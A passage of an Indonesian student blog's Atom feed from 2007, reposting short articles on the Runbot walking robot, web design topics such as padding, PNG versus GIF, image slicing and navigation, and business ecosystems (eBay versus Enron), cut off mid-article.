yang sudah ada.&lt;/p&gt; &lt;p&gt;Robot itu bernama Runbot, sebuah robot berkaki dua berukuran kecil yang bisa  bergerak sejarak tiga kali panjang kakinya dalam satu detik. Ini hanya sedikit  lebih lambat dari kecepatan manusia saat berjalan dengan cepat.&lt;/p&gt; &lt;p&gt;Robot ini menggunakan teori ‘otak dengkul’ yang dikemukakan pertama kali oleh  NIkolai Bernstein pada era 1930-an. Teori itu pada intinya mengemukakan bahwa  otak manusia (yang ada di kepala) tidak melulu memproses cara berjalan.&lt;/p&gt; &lt;p&gt;Otak, ujar Bernstein, hanya bekerja saat berjalan dari satu permukaan ke  permukaan lain, misalnya dari lantai ke rumput, atau saat permukaan tidak rata.  Selebihnya, kemampuan berjalan ditangani oleh ‘otak’ alias syaraf-syaraf di  tulang punggung dan kaki, termasuk di dengkul.&lt;/p&gt; &lt;p&gt;Dengan menerapkan teori tersebut, Profesor Florentin Woergoetter dan tim dari  Universitas Gottingen, Jerman, berhasil membuat Runbot. Tim Woergoetter mencakup  ilmuwan dari berbagai latar belakang, termasuk Poramate Manoonpong, Tao Geng,  Tomas Kulvicius dan Bernd Porr.&lt;/p&gt; &lt;p&gt;&lt;strong&gt;Bukan Robot Kikuk&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;Saat berjalan menuju sebuah tanjakan, Woergoetter mengatakan, ‘otak dengkul’  Runbot akan menganggap tidak ada masalah. Namun ketika tubuh Runbot terjatuh  karena gaya gravitasi menariknya ke belakang sistem ‘otak atas’ Runbot akan  mendeteksinya dan melakukan perubahan.&lt;/p&gt; &lt;p&gt;Selanjutnya, ujar Woergoetter, perubahan itu akan diterapkan ke ‘otak  dengkul’ sehingga ‘otak atas’ tak perlu terus menerus melakukan proses.  “Sulitnya pada robot, adalah menerapkan gerakan pada waktu yang tepat –dalam  hitungan milidetik– agar tidak jatuh,” paparnya.&lt;/p&gt; &lt;p&gt;Runbot memiliki cara jalan yang berbeda dengan robot populer seperti Asimo,  atau sejenisnya. “Robot-robot itu adalah pejalan kinematis, mereka berjalan  selangkah demi selangkah dan memperhitungkan setiap sudut setiap milidetik,” ia  menjelaskan.&lt;/p&gt; &lt;p&gt;Melalui teknologi kecerdasan buatan dan rekayasa robotika, Woergoetter  mengatakan proses rumit itu memang bisa dilakukan. “Namun sangat kikuk. Manusia  tidak berjalan seperti itu. Mesin-mesin besar itu menghentak bagai robot, kami  mau membuat robot yang berjalan seperti manusia,” ujarnya.&lt;/p&gt; &lt;p&gt;Saat ini tim tersebut sedang memikirkan bagaimana menerapkan Runbot untuk  membuat robot yang berukuran lebih besar. Runbot juga akan dikembangkan agar  reaksinya lebih cepat dan lebih adaptif. &lt;strong&gt; &lt;/strong&gt;&lt;/p&gt; &lt;p&gt;——————————————————————————————-&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5268514012556433429-6729939760824505011?l=adingresik.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://adingresik.blogspot.com/feeds/6729939760824505011/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5268514012556433429&amp;postID=6729939760824505011' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5268514012556433429/posts/default/6729939760824505011'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5268514012556433429/posts/default/6729939760824505011'/><link rel='alternate' type='text/html' href='http://adingresik.blogspot.com/2007/12/pengantar-robot-bagian-1.html' title='Pengantar Robot ( Bagian 1 )'/><author><name>ITB - D4</name><uri>http://www.blogger.com/profile/16945922430998191222</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5268514012556433429.post-962981746658179279</id><published>2007-12-17T22:17:00.000-08:00</published><updated>2007-12-17T22:22:54.568-08:00</updated><title type='text'>web design and animation (Bagian 5 )</title><content type='html'>&lt;h2 class="posttitle"&gt;&lt;a title="Taut Tetap ke Padding Untuk Tampilan Eksklusif" href="http://teriyakiboz.wordpress.com/2007/12/13/padding-untuk-tampilan-eksklusif/" rel="bookmark"&gt;Padding Untuk Tampilan Eksklusif&lt;/a&gt;&lt;/h2&gt;  &lt;div style="font-family: verdana;" class="postentry"&gt; &lt;div class="snap_preview"&gt; &lt;p&gt;Padding atau space kosong cukup besar pengaruhnya untuk sebuah layout desain  web. Ruang kosong mampu memberikan penonjolan pada content di dalam ruang kosong  tersebut. Dalam ilmu komunikasi visual, istilah ruang kosong yang dinamakan  whitespace adalah ruang dimana pembaca dapat mengistirahatkan indera visual  sejenak atau “bernafas lega” dan melihat content di dalam whitespace secara  lebih terkonsentrasi.&lt;/p&gt; &lt;p&gt;&lt;img src="http://www.beacondigitalvideo.com/images/my%20images/web_design.jpg" height="205" width="210" /&gt;&lt;/p&gt; &lt;p style="text-align: justify;"&gt;Sebuah analogi yang paling mirip adalah ketika  kita berada di ruangan yang penuh sesak dengan barang. Kita akan merasa  terhimpit, sesak, dan tidak nyaman. Akan sangat berbeda rasanya jika barang -  barang tersebut tersusun dengan rapi, tidak terlalu sesak, dan seolah - olah  kita masih dapat bernafas dengan lega di dalamnya.&lt;/p&gt; &lt;p&gt;Padding yang dalam dunia komunikasi visual dinamakan whitespace fungsinya  adalah untuk memfokuskan mata pembaca pada tulisan yang berada di dalam space  tersebut. Penggunaannya tentu saja untuk text ataupun grafis yang ingin  ditonjolkan kepada pembaca.&lt;/p&gt; &lt;p&gt;&lt;img src="http://www.smashingmagazine.com/images/solid-and-serious-designs/solid-and-serious-designs-35.jpg" height="208" width="346" /&gt;&lt;/p&gt; &lt;p&gt;Kesimpulannya, pemberian padding atau ruang kosong tidak akan menyiakan  space, akan tetapi justru mampu membuat website tampil secara eksklusif dan  pesan yang ingin disampaikan dapat tertampil dengan lebih menonjol.&lt;iframe style="display: block;" id="richeditorframe"&gt;&lt;/iframe&gt;&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5268514012556433429-962981746658179279?l=adingresik.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://adingresik.blogspot.com/feeds/962981746658179279/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5268514012556433429&amp;postID=962981746658179279' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5268514012556433429/posts/default/962981746658179279'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5268514012556433429/posts/default/962981746658179279'/><link rel='alternate' type='text/html' href='http://adingresik.blogspot.com/2007/12/web-design-and-animation-bagian-5.html' title='web design and animation (Bagian 5 )'/><author><name>ITB - D4</name><uri>http://www.blogger.com/profile/16945922430998191222</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5268514012556433429.post-8639996582868527811</id><published>2007-12-17T22:15:00.000-08:00</published><updated>2007-12-17T22:16:34.877-08:00</updated><title type='text'>web design and animation ( Bagian 4 )</title><content type='html'>&lt;h2 class="posttitle"&gt;&lt;a href="http://teriyakiboz.wordpress.com/2007/12/13/png-vs-gif/" rel="bookmark" tip="Taut Tetap ke PNG vs GIF"&gt;PNG vs GIF&lt;/a&gt;&lt;/h2&gt;  &lt;div class="postentry"&gt; &lt;div class="snap_preview"&gt; &lt;p&gt;Artikel ini, mengajak anda menjelajahi dua pilihan utama dari  format&lt;br /&gt;gambar yang dapat dipakai dalam Web untuk menggambarkan graphic  sederhana&lt;br /&gt;berupa skema atau logo.&lt;/p&gt; &lt;p&gt;&lt;img src="http://farm1.static.flickr.com/199/498786796_b9b3f697da.jpg" height="235" width="311" /&gt;&lt;/p&gt; &lt;p&gt;GIF&lt;br /&gt;Graphics Interchange Format (GIF) dikembangkan pada tahun 1980 dan  semakin&lt;br /&gt;meluas penggunaanya.&lt;br /&gt;Format GIF adalah format yang  mengompress/memperkecil ukuran filenya&lt;br /&gt;menggunakan algoritma yang disebut  LZW&lt;br /&gt;Nilai lebih dari GIf adalah dukungannya yang sangat luas dan muncul  sebagai pilihan default untuk gambar sederhana pada web&lt;br /&gt;Dibandingkan dengan  yang lain(seperti PNG) GIF secara teknis tidak&lt;br /&gt;begitu unggul,tetapi selama  setahun ini berada di Web, mendukung&lt;br /&gt;muncul dan berkembangnya PNG,ini tentu  saja menjadi pilihan yang aman hingga saat ini.&lt;/p&gt; &lt;p&gt;Salah satu persoalan yang menyatakan disekeliling format GIF  adalah&lt;br /&gt;algorima LZW yang paten dilindungi USA oleh perusahan  Unisys.&lt;br /&gt;Perusahaan Unisys LZW berakhir diUSA 20 juni 2003. Hak paten LZW  berakhir di&lt;br /&gt;Kanada, Prancis, Italia, Jerman, Inggris dan Jepang.&lt;/p&gt; &lt;p&gt;PNG&lt;br /&gt;(Portable Network Graphics) dikembangkan pada tahun 1995 dan menjadi  rekomendasi W3C pada tahun 1996, dan telah berkembang pada hampir semua Web  browser hingga tahun 1998.&lt;/p&gt; &lt;p&gt;PNG(Portable Network Graphics), sebuah file format untuk  lossless,ptohotable,&lt;br /&gt;yang diperkecil storage imagenya.PNG menyediakan  patent-free&lt;br /&gt;pengganti GIF dan juga dapat mengganti banyak menggunakan TIFF.  mendukung Indexed-color,&lt;br /&gt;grayscale,truecolor,plus optional alpha channel.&lt;/p&gt; &lt;p&gt;&lt;img src="http://www.smashingmagazine.com/images/solid-and-serious-designs/solid-and-serious-designs-39.jpg" height="192" width="362" /&gt;&lt;/p&gt; &lt;p&gt;Untuk Web, PNG mempunyai tiga kelebihan dari pada GIF:&lt;br /&gt;alpha channels  (variable transparency)&lt;br /&gt;cross-platfrom gamma correction (control untuk  ketajaman/brightnes gambar)&lt;br /&gt;dan color correction two-dimension interlancing(  metode untuk progresif display).&lt;br /&gt;PNG juga mengompres lebih baik dari GIF  tiap2 case (5% sampai 25% pada type case)&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5268514012556433429-8639996582868527811?l=adingresik.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://adingresik.blogspot.com/feeds/8639996582868527811/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5268514012556433429&amp;postID=8639996582868527811' title='1 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5268514012556433429/posts/default/8639996582868527811'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5268514012556433429/posts/default/8639996582868527811'/><link rel='alternate' type='text/html' href='http://adingresik.blogspot.com/2007/12/web-design-and-animation-bagian-4.html' title='web design and animation ( Bagian 4 )'/><author><name>ITB - D4</name><uri>http://www.blogger.com/profile/16945922430998191222</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://farm1.static.flickr.com/199/498786796_b9b3f697da_t.jpg' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5268514012556433429.post-7970160266179485836</id><published>2007-12-17T22:09:00.000-08:00</published><updated>2007-12-17T22:14:39.226-08:00</updated><title type='text'>Web Design And Animation( Bagian 3 )</title><content type='html'>&lt;h2&gt;&lt;a href="http://ganez.wordpress.com/2007/12/17/image-slicing-mempercepat-loading-website/" rel="bookmark" title="Image Slicing mempercepat loading website?"&gt;Image Slicing mempercepat loading website?&lt;/a&gt;&lt;/h2&gt;   &lt;div class="snap_preview"&gt;&lt;p class="postentry"&gt; &lt;/p&gt;&lt;p class="snap_preview"&gt;Desain web dan kecepatan akses website terkadang menjadi dua hal yang kontradiktif. Web yang sarat dengan image berukuran besar tentu tampilannya akan lebih lambat daripada web yang hanya mengandung unsur text singkat. Padahal menurut survey yang dilakukan oleh Zona research (April, 1999) menyatakan bahwa 80% pengunjung akan menutup browser (atau memindahkan Address/URL ?) bila halaman Web yang ia buka tidak tampil dalam 7-8 detik.&lt;/p&gt; &lt;p&gt;&lt;img src="http://i34.photobucket.com/albums/d141/vicky_christmas/indexbiru.jpg" height="274" width="270" /&gt;&lt;/p&gt; &lt;p style="text-align: justify;"&gt; Untuk mengakalinya biasanya webmaster biasanya men-slice image (image slicing) menjadi dimensi yang lebih kecil. Pada artikel ini akan dijelaskan tentang apa itu image slicing.&lt;/p&gt; &lt;p&gt;Kemampuan Paralel Request Browser&lt;br /&gt;Browser memiliki kemampuan untuk me-request pada web server secara paralel agar loading website lebih cepat dan kemungkinan kegagalan satu transaksi data akan digantikan secara cepat oleh transaksi yang lain.&lt;br /&gt;Secara default Internet Explorer memiliki 4 paralel request. Sedangkan pada Firefox dan Opera kemampuan paralel download dapat di atur secara mudah tanpa mengkutak - katik registry.&lt;br /&gt;Kemampuan request paralel inilah yang dimanfaatkan oleh para webmaster dengan men-slice image yang ditampilkan di web. Dengan maksud secara bersamaan browser akan berusaha mendownload beberapa image yang berbeda sekaligus sehingga loading halaman website menjadi lebih cepat. Sedangkan apabila image tersebut di tampilkan sebagai image tunggal maka hanya satu transaksi data yang terjadi.&lt;/p&gt; &lt;p&gt;&lt;img src="http://maxhosting.com.my/blog/wp-content/uploads/2007/09/template1.jpg" height="263" width="350" /&gt;&lt;/p&gt; &lt;p&gt;Jangan terlalu banyak&lt;br /&gt;Ada kalanya teknik image slicing ini malah memperlambat proses loading sebuah halaman web. Hal ini dikarenakan image di slice dalam jumlah yang terlalu banyak sehingga dalam satu waktu browser diharuskan mendownload banyak gambar sekaligus. Hal ini menyebabkan kelambatan loading image karena semakin banyak image tersebut di slice, maka browser akan membutuhkan waktu yang lebih lama karena proses negosiasi untuk mendownload banyak file akan lebih lama daripada mendownload sedikit file saja.&lt;/p&gt; &lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5268514012556433429-7970160266179485836?l=adingresik.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://adingresik.blogspot.com/feeds/7970160266179485836/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5268514012556433429&amp;postID=7970160266179485836' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5268514012556433429/posts/default/7970160266179485836'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5268514012556433429/posts/default/7970160266179485836'/><link rel='alternate' type='text/html' href='http://adingresik.blogspot.com/2007/12/web-design-and-animation-bagian-3.html' title='Web Design And Animation( Bagian 3 )'/><author><name>ITB - D4</name><uri>http://www.blogger.com/profile/16945922430998191222</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5268514012556433429.post-4651862652375950514</id><published>2007-12-17T22:08:00.000-08:00</published><updated>2007-12-17T22:09:20.962-08:00</updated><title type='text'>web design and animation ( Bagian 2 )</title><content type='html'>&lt;h2 class="posttitle"&gt;&lt;a href="http://teriyakiboz.wordpress.com/2007/12/13/merancang-navigasi-website/" rel="bookmark" tip="Taut Tetap ke Merancang Navigasi Website"&gt;Merancang  Navigasi Website&lt;/a&gt;&lt;/h2&gt;&lt;div class="postentry"&gt;&lt;div class="snap_preview"&gt;&lt;p&gt;Navigasi pada sebuah website yang tertampil pada menu dan links adalah  petunjuk bagi pengunjung terhadap halaman - halaman yang terdapat dalam website.  Pengunjung akan semakin mudah menemukan halaman - halaman dalam website Anda  jika menu - menu dan link yang ada tampil secara terstruktur. Sudah pasti  pengunjung akan kesal apabila tidak mendapatkan halaman website yang ia cari  gara - gara navigasi yang ruwet.&lt;/p&gt; &lt;p&gt;&lt;img src="http://www.simpleid.com.au/images/services/online_solutions/banner_website_design.jpg" height="210" width="269" /&gt;&lt;/p&gt; &lt;p&gt;&lt;em&gt;Rencanakan dengan Baik&lt;br /&gt;&lt;/em&gt;Hal yang mutlak dilakukan sebelum mulai  membuat sebuah web tentunya adalah pembuatan konsep dari website itu sendiri.  Konsep tersebut akan memuat navigasi dasar dalam bentuk “tree view” (bercabang  dan beranting) dari mulai konten yang bersifat umum hingga konten yang bersifat  mendetail. Inilah garis besar navigasi dari situs yang akan dibuat.&lt;/p&gt; &lt;p&gt;&lt;em&gt;Dimana Navigasi diletakkan&lt;br /&gt;&lt;/em&gt;Seperti telah dikemukakan di atas,  bahwa navigasi akan membawa pengunjung dari hal - hal yang bersifat umum hingga  hal - hal yang bersifat mendetail. Halaman utama (index) tentu saja akan memuat  menu - menu pokok yang bersifat umum. Percabangan dari menu - menu inti tersebut  dapat di letakkan pada halaman - halaman cabang dari index.&lt;br /&gt;Alternatif lain,  Anda dapat menggunakan javascript untuk menampilkan menu dan sub-menu  sekaligus.&lt;/p&gt; &lt;p&gt;&lt;img src="http://www.leeboothroyd.co.uk/images/background_mattwestphotography.jpg" height="234" width="265" /&gt;&lt;em&gt;Konsisten&lt;br /&gt;&lt;/em&gt;Sebisa mungkin jangan merubah letak menu pada  setiap halaman web sehingga pengunjung lebih mudah menemukan menu - menu  tersebut. Misalnya menu utama berada di atas, setelah itu pada halaman - halaman  yang terdapat dalam menu utama dapat ditampilkan sub-menu di sebelah kiri atau  kanan halaman.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5268514012556433429-4651862652375950514?l=adingresik.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://adingresik.blogspot.com/feeds/4651862652375950514/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5268514012556433429&amp;postID=4651862652375950514' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5268514012556433429/posts/default/4651862652375950514'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5268514012556433429/posts/default/4651862652375950514'/><link rel='alternate' type='text/html' href='http://adingresik.blogspot.com/2007/12/web-design-and-animation-bagian-2.html' title='web design and animation ( Bagian 2 )'/><author><name>ITB - D4</name><uri>http://www.blogger.com/profile/16945922430998191222</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5268514012556433429.post-8406010495595257503</id><published>2007-12-17T22:01:00.000-08:00</published><updated>2007-12-17T22:05:03.190-08:00</updated><title type='text'>Web Design And Animation ( Bagian 1 )</title><content type='html'>&lt;h2&gt;&lt;a href="http://ganez.wordpress.com/2007/12/17/tips-untuk-web-design/" rel="bookmark" title="Tips untuk Web Design"&gt;Tips untuk Web Design&lt;/a&gt;&lt;/h2&gt;   &lt;div class="snap_preview"&gt;&lt;p class="postentry"&gt; &lt;/p&gt;&lt;p class="snap_preview"&gt;Apakah para pengembang web memahami berapa lama orang akan mengunjungi websitenya?&lt;br /&gt;Apakah kita adalah internet newbie atau pemasar berpengalaman, kita perlu memahami hal terbaik tentang website, disain menjadi bagian yang menyangkut sukses kenyamanan.&lt;/p&gt; &lt;p&gt;&lt;img src="http://www.geocities.com/nofri_99/blogger/hacekecil.jpg" align="middle" height="286" width="380" /&gt;&lt;/p&gt; &lt;p&gt;Berikut tips untuk kesuksesan sebuah web:&lt;/p&gt; &lt;p&gt;1. Navigasi&lt;br /&gt;Kita pernah bahas bagian ini pada artikel merancang navigasi website&lt;/p&gt; &lt;p&gt;Ketika orang datang ke website kita mereka pada umumnya mencari sesuatu yang khusus.Misal resep untuk diet rendah, sehat dan mencarinya serta menyiapkannya kurang dari beberapa menit atau apa yang merupakan bisnis terbaik untuk dimulai secara online.&lt;br /&gt;Apapun yang pengunjung inginkan, kita harus mempunyai jawaban untuk itu. Maka tanyakan pada diri kita,kenapa orang-orang datang ke website kita? Ketika kita mengetahuinya kemudian kita harus membuatnya gampang untuk mereka temukan apa yang mereka cari.&lt;/p&gt; &lt;p&gt;2. Grafis&lt;br /&gt;Jika kita menjalankan suatu site profesional, dan tidak menggunakan grafis/gambar2 yang menyenangkan, maka jangan harap orang akan mau berlama-lama di website kita. Orang datang keweb&lt;br /&gt;kita untuk mencari informasi. Tidak untuk klik suatu iklan atau mengasah otak saja.&lt;img src="http://farm2.static.flickr.com/1414/705220557_d5033fd56c.jpg" align="right" height="387" width="500" /&gt;&lt;/p&gt; &lt;p&gt;Membuat website menjadi lingkungan menyenangkan bagi pengunjung untuk menikmatinya. Memikirkan seperti kita pergi ke mall. Kita ingin masuk suatugudang/ toko yang bersih, yang dipersiapkan, mempunyai layanan baik pada pelanggan dan produk yang sedang dicari. Website kita perlu mencerminkan hal ini. Jika ada apa yang kita harapkan didalamnya&lt;br /&gt;seperti pengalaman berbelanja, pengunjung akan menikmati apa yang sedang mereka cari diwebsite kita.&lt;/p&gt; &lt;p&gt;3. Warna&lt;br /&gt;Ya, bagian ini juga sudah kita bahas di artikel sebelumnya. (link)&lt;br /&gt;Warna adalah pilihan perorangan, tetapi studi menunjukkan warna itu mempunyai suatu pengaruh pada emosi publik.&lt;br /&gt;Jika kita mempunyai suatu lokasi investasi keuangan,&lt;br /&gt;Pilih warna konservatif. Atau jika kita menjual materi pantai, maka pilihlah warna yang lembut.&lt;/p&gt; &lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5268514012556433429-8406010495595257503?l=adingresik.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://adingresik.blogspot.com/feeds/8406010495595257503/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5268514012556433429&amp;postID=8406010495595257503' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5268514012556433429/posts/default/8406010495595257503'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5268514012556433429/posts/default/8406010495595257503'/><link rel='alternate' type='text/html' href='http://adingresik.blogspot.com/2007/12/web-design-and-animation-bagian-1.html' title='Web Design And Animation ( Bagian 1 )'/><author><name>ITB - D4</name><uri>http://www.blogger.com/profile/16945922430998191222</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://farm2.static.flickr.com/1414/705220557_d5033fd56c_t.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5268514012556433429.post-2981322463071689386</id><published>2007-12-17T21:54:00.000-08:00</published><updated>2007-12-17T22:00:34.998-08:00</updated><title type='text'>E-Business ( Bagian 5 )</title><content type='html'>&lt;h3 class="storytitle"&gt;&lt;a href="http://www.itpin.com/blog/2007/02/07/inovasi-dalam-ekosistem/" rel="bookmark" modo="false"&gt;Inovasi dalam ekosistem &lt;/a&gt;&lt;/h3&gt; &lt;img style="width: 463px; height: 385px;" src="http://www.italog.biz/images/e-business.jpg" /&gt; &lt;p class="storycontent"&gt;Sudah bukan rahasia lagi bila dunia bisnis saat ini  semakin ruwet. Perusahaan tidak mungkin bisa berdiri sendiri lagi tanpa ditopang  oleh pemain-pemain lain, mulai dari pemasok, distributor, sampai komplementor.  Mengelola bisnis bukan saja sekedar mengelola organisasi internal, tetapi juga  bagaimana mengelola hubungan-hubungan dengan pihak luar. Saya sudah menulis &lt;a href="http://www.itpin.com/blog/2007/02/02/menjadi-pemimpin-platform/" target="_blank"&gt;sebuah artikel tentang &lt;em&gt;platform leadership&lt;/em&gt;&lt;/a&gt; yang  merupakan sebuah pengantar tentang implikasi jaringan dalam bisnis terhadap  strategi perusahaan. Artikel ini adalah pelengkap artikel tersebut, namun dengan  berusaha melihat dari kaca mata lain: biologi.&lt;/p&gt; &lt;p&gt;Adalah Marco Iansiti (dari Harvard Business School) dan Roy Levien (seorang  ahli biologi dan teknologi yang pernah bekerja di Microsoft dan Aldaron) yang  berusaha menarik analogi dunia ekonomi berbasis jaringan dengan ekosistem.  Pandangan mereka tersebut dituangkan dalam buku &lt;a href="http://www.amazon.com/Keystone-Advantage-Ecosystems-Innovation-Sustainability/dp/1591393078?tag=word08-20" target="_blank"&gt;&lt;em&gt;The Keystone Advantage&lt;/em&gt;&lt;/a&gt;. Lewat buku ini, mereka  berusaha membandingkan &lt;em&gt;platform leaders&lt;/em&gt; yang berhasil dan gagal, apa  perbedaan antara keduanya, dan strategi apa pula yang harus dijalankan  pemain-pemain gurem dalam ekosistem yang mereka namakan &lt;em&gt;niche  players&lt;/em&gt;.&lt;/p&gt; &lt;p&gt;Dua perusahaan menjadi contoh pembuka kasus: eBay dan Enron. EBay, seperti  yang kita ketahui, sukses dari pertama kali diluncurkan sampai sekarang.  Sementara Enron? Tak kalah terkenalnya dibanding eBay dan pernah manjadi salah  satu perusahaan terkaya di dunia, perusahaan ini jatuh dengan cepat. Persamaan  keduanya? Keduanya sama-sama &lt;em&gt;platform leaders&lt;/em&gt;. EBay dikelilingi oleh  para pedagang dunia maya, pembuat perangkat lunak yang membangun software untuk  membantu para pedagang dan pembeli di eBay, dan para partner promosi yang  disebut sebagai &lt;em&gt;affiliates&lt;/em&gt;. Jelas, di sini eBay adalah pusat dari  ekosistemnya. Dan Enron? Enron juga menjadi pusat dari ekosistem karena perannya  sebagai &lt;em&gt;broker&lt;/em&gt; untuk bermacam-macam perdagangan, mulai dari energi  listrik sampai jalur &lt;em&gt;broadband&lt;/em&gt;.&lt;/p&gt; &lt;p&gt;Kedua pemain ini menempati posisi yang disebut sebagai &lt;em&gt;hub&lt;/em&gt;. Sebuah  &lt;em&gt;hub&lt;/em&gt;, menurut Iansiti dan Levien, bukanlah titik pusat yang besar.  Keunikan &lt;em&gt;hub&lt;/em&gt; justru terletak pada massanya yang kecil relatif terhadap  total massa ekosistem tersebut (massa di sini bisa dihitung dari pendapatan  total, laba total, kapitalisasi aset, dlsb), namun memiliki kekuatan yang jauh  melebihi total massa relatif mereka. &lt;em&gt;Hub&lt;/em&gt; inilah yang berperan dalam  menentukan arah pergerakan ekosistem, termasuk hidup dan mati keseluruhan  anggota ekosistem. Hancurkan &lt;em&gt;hub&lt;/em&gt; tersebut, hancurlah ekosistem.  Beberapa contoh &lt;em&gt;hub&lt;/em&gt; lainnya adalah Wal-Mart, Microsoft, Li &amp;amp; Fung,  Yahoo!, Dell, dan contoh terbaru Google. Di Indonesia, para raksasa di bidang  ritel seperti Matahari dan Hero, dan juga para operator di bidang telekomunikasi  seperti Telkomsel juga menunjukkan potensi untuk menjadi &lt;em&gt;hub&lt;/em&gt;.&lt;/p&gt; &lt;p&gt;Kembali ke eBay dan Enron. Kita sudah melihat persamaan mereka sejauh ini.  Tetapi yang lebih penting lagi adalah perbedaan keduanya. Meski sama-sama  menjadi &lt;em&gt;hub&lt;/em&gt; di ekosistemnya, perilaku keduanya sangat berbeda. EBay  memang menghasilkan keuntungan dari awal, tetapi eBay juga memberi kesempatan  pemain lain dalam ekosistem tersebut untuk mengambil keuntungan. Sementara Enron  kebalikannya. Enron sebisa mungkin menyerap semua keuntungan yang disediakan  ekosistem tersebut untuk dirinya sendiri. Akibatnya, ketika kesehatan anggota  ekosistem lainnya mulai terganggu, Enron mendapatkan dirinya semakin sulit  mendapatkan keuntungan. Buah dari kesulitan tersebut adalah pembukuan kreatif  yang menyebabkan runtuhnya Enron.&lt;/p&gt; &lt;p&gt;Di sini kita mendapat sebuah pelajaran berharga. Perusahaan yang menempati  posisi &lt;em&gt;hub &lt;/em&gt;tidak boleh terlalu rakus. Ya, mereka memang harus  mendapatkan keuntungan, tetapi mereka juga harus menjaga kesehatan ekosistemnya  secara keseluruhan. &lt;em&gt;Hub&lt;/em&gt; yang bisa melakukan keduanya disebut sebagai  &lt;em&gt;keystone&lt;/em&gt;, sementara yang rakus seperti Enron disebut sebagai  &lt;em&gt;landlord&lt;/em&gt;. Yahoo! dan AOL pernah menjadi &lt;em&gt;landlords&lt;/em&gt; sebelum  meletusnya gelembung dot-com. Lewat posisi dominan mereka, kedua portal ini  memeras para partner bisnis mereka. Ketika gelembung dot-com meletus, kedua  pemain ini mendapatkan ekosistem mereka dalam bahaya karena banyak partner  bisnis mereka kelimpungan dalam krisis. Untung saja Yahoo! bisa segera membalik  strategi mereka dan berupaya menjadi &lt;em&gt;keystone&lt;/em&gt; yang baik. AOL juga cukup  cerdik dengan melakukan merger terhadap Time Warner terlebih dahulu. Namun  posisi mereka sebagai pemain yang disegani di dunia dot-com sudah mulai  tergeser.&lt;/p&gt; &lt;p&gt;Dari kaca mata ekosistem ini, bagaimana caranya menjaga kesehatan ekosistem?  Kesehatan ekosistem bisa diukur dari 3 hal. Pertama, 